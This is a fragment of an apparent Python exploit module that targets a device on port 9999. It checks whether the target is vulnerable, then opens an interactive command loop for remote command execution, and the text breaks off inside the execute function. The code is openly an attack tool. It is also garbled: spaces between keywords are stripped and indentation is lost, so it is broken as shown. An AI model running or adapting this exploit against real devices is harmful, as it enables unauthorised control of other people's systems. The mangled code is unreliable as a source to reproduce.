target=exploits.Option('','Target address e.g. 192.168.1.1')
port=exploits.Option(9999,'Target Port')
defrun(self):
try:
ifself.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("Please note that only first 256 characters of the output will be displayed")
self.command_loop()
else:
print_error("Target is not vulnerable")
exceptsocket.errorasex:
print_error("Socket error ({ex}). It most likely means that something else is listening locally on port UDP:{port}. Make sure to kill it before running the exploit again.".format(ex=ex,port=self.port))
defcommand_loop(self):
while1:
cmd=raw_input("cmd > ")
try:
print_info(self.execute(cmd))
exceptsocket.timeout:
print_error("No response received. The exploit tends to be unstable though. It is worth trying to run the same command again.")
defexecute(self,cmd):
iflen(cmd)>237:
print_error('Your command must be at most 237 characters long. Longer strings might crash the server.')